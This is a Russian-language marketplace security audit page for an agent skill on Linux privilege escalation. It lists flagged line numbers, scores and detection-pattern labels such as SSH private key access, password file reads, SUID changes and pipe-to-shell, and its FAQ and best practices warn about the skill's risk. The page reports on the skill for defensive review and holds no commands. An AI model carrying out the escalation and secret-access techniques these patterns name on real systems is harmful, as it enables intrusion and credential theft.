SKILL.md:151 SKILL.md:181 SKILL.md:203 SKILL.md:184 SKILL.md:151 SKILL.md:17-35 SKILL.md:35-50 SKILL.md:50 SKILL.md:55-56 SKILL.md:56-57 SKILL.md:57-60 SKILL.md:60-61 SKILL.md:61-62 SKILL.md:62-63 SKILL.md:63-64 SKILL.md:64-76 SKILL.md:76-106 SKILL.md:106-112 SKILL.md:112-127 SKILL.md:127-131 SKILL.md:131-133 SKILL.md:133-139 SKILL.md:139-158 SKILL.md:158-162 SKILL.md:162-190 SKILL.md:190-194 SKILL.md:194-207 SKILL.md:207-211 SKILL.md:211-223 SKILL.md:223-227 SKILL.md:227-242 SKILL.md:242-246 SKILL.md:246-259 SKILL.md:259-263 SKILL.md:263-281 SKILL.md:281-285 SKILL.md:285-299 SKILL.md:299-303 SKILL.md:303-320 SKILL.md:320-324 SKILL.md:324-337 SKILL.md:337-352 SKILL.md:352-369 SKILL.md:369-375 SKILL.md:375-383 SKILL.md:383-389 SKILL.md:389-397 SKILL.md:397-401 SKILL.md:401-405 SKILL.md:405-409
🌐 Доступ к сети (5)
📁 Доступ к файловой системе (33)
SKILL.md:310 SKILL.md:287 SKILL.md:310 SKILL.md:311 SKILL.md:380 SKILL.md:381 SKILL.md:382 SKILL.md:288 SKILL.md:61 SKILL.md:62 SKILL.md:85 SKILL.md:88 SKILL.md:105 SKILL.md:164 SKILL.md:196 SKILL.md:248 SKILL.md:291 SKILL.md:305 SKILL.md:306 SKILL.md:307 SKILL.md:311 SKILL.md:314 SKILL.md:315 SKILL.md:395 SKILL.md:396 SKILL.md:462 SKILL.md:468 SKILL.md:441 SKILL.md:442 SKILL.md:330 SKILL.md:331 SKILL.md:333 SKILL.md:334
Обнаруженные паттерны
SSH directory access×2SSH private key fileMalware type keywordsSystem password file access×6SUID bit modification×4UID/GID manipulation×8Pipe to shell patternDocker socket accessSystem reconnaissance×8
Аудитор:: codex Посмотреть историю аудитов →
Поделиться и цитировать этот отчет
Делитесь версионным отчетом об оценке, нейтральным значком, встраиваемой карточкой и цитатами. Skillstore публикует доказательства, не решая, безопасен ли этот Skill.
Копировать ссылку на отчёт
https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportЗначок Markdown
[](https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge?utm_source=security_passport_badge)Значок HTML
<a href="https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/charleskozel-privilege-escalation-knowledge/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Встраиваемая карточка
<iframe src="https://skillstore.io/embed/skills/charleskozel-privilege-escalation-knowledge.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Академические ссылки (APA · BibTeX · CFF)
Цитата APA
CharlesKozel. (2026). privilege-escalation-knowledge security audit report (audit version 10) [Author version unspecified]. Skillstore. https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10Цитата BibTeX
@techreport{charleskozel-charleskozel-privilege-escalation-knowledge-2026,
author = {CharlesKozel},
title = {privilege-escalation-knowledge security audit report (audit version 10)},
institution = {Skillstore},
year = {2026},
number = {10},
url = {https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "privilege-escalation-knowledge security audit report (audit version 10)"
version: "unspecified"
type: report
authors:
- name: "CharlesKozel"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/charleskozel-privilege-escalation-knowledge/audits/10"
identifiers:
- type: other
value: "skillstore:charleskozel-privilege-escalation-knowledge:audit:10"
description: "Skillstore immutable audit report identifier"
Оценка Skillstore
Почему такая оценка Достоверность доказательств: Средний 55
Архитектура
85
Сопровождаемость
87
Контент
70
Сообщество
78
Соответствие спецификации
Что вы можете построить
Подготовить лабораторный чеклист
Обучающиеся специалисты по безопасности могут структурировать авторизованную работу по повышению привилегий в CTF или лаборатории.
Проверить пробелы в усилении защиты
Владельцы систем могут сравнивать находки с распространенными ошибками конфигурации и расставлять приоритеты исправлений.
Оценить риск для Marketplace
Рецензенты могут определить, почему навык требует строгого контроля публикации и установки.
Попробуйте эти промпты
Кратко описать область проверки
В авторизованной лаборатории Linux кратко опиши этапы проверки повышения привилегий, которые покрывает этот навык. Не включай команды эксплуатации.
Создать защитный чеклист
Преобразуй рекомендации навыка в защитный чеклист для sudo, SUID, capabilities, cron, служб, контейнеров и чувствительных файлов.
Приоритизировать аудиторские доказательства
С учетом этих заметок авторизованного аудита: [paste notes], сопоставь каждый пункт с вероятными областями риска и безопасными приоритетами исправления.
Написать разбор лабораторной работы
Для завершенной авторизованной лаборатории кратко опиши путь повышения привилегий, неработающие средства контроля и шаги исправления без операционных деталей эксплуатации.
Лучшие практики
- Используйте только в системах, где авторизация и область работ документированы.
- Отдавайте предпочтение защитным сводкам и планам исправления, а не исполняемым инструкциям.
- Обращайтесь с флагами, учетными данными, ключами и журналами как с чувствительными данными.
Избегать
- Не выполняйте команды повышения привилегий в системах вне области работ.
- Не сохраняйте доступ, не добавляйте ключи и не изменяйте учетные записи без письменного одобрения.
- Не публикуйте сырые шаги эксплуатации в общей пользовательской документации.
Часто задаваемые вопросы
Безопасен ли этот навык для производственных систем?
Нет. Он содержит команды и рабочие процессы, которые могут изменить или скомпрометировать Linux-системы.
Кому следует использовать этот навык?
Использование должно быть ограничено авторизованными лабораториями безопасности, контролируемыми оценками и командами защитной проверки.
Выполняет ли он команды сам по себе?
Нет. Это файл знаний, но агент может следовать его операционным инструкциям.
Могут ли защитники безопасно использовать материал?
Да, если они преобразуют материал в проверки усиления защиты и избегают выполнения шагов эксплуатации.
Почему риск публикации высок?
Файл включает рабочие процессы повышения до root, доступа к чувствительным файлам, закрепления и захвата флагов.
Что следует удалить перед широким распространением?
Удалите выполняемые шаги эксплуатации, инструкции по закреплению, команды обнаружения секретов и примеры pipe-to-shell.
Сведения для разработчиков
Автор
CharlesKozelЛицензия
MIT
Ревизия Skillstore
r1
Примечание о версии
Автор не указал версию.
Репозиторий
https://github.com/CharlesKozel/Pentest-Agent-Evalulator/tree/main/agents/claude-tbug/skills/privescСсылка
3e4b6c31a74a3bd1a291c98cf585d720cb9fbc88
Актуальность поддержки
18.07.2026
Использование
6 загрузок · 167 просмотров
Структура файлов
📄 SKILL.md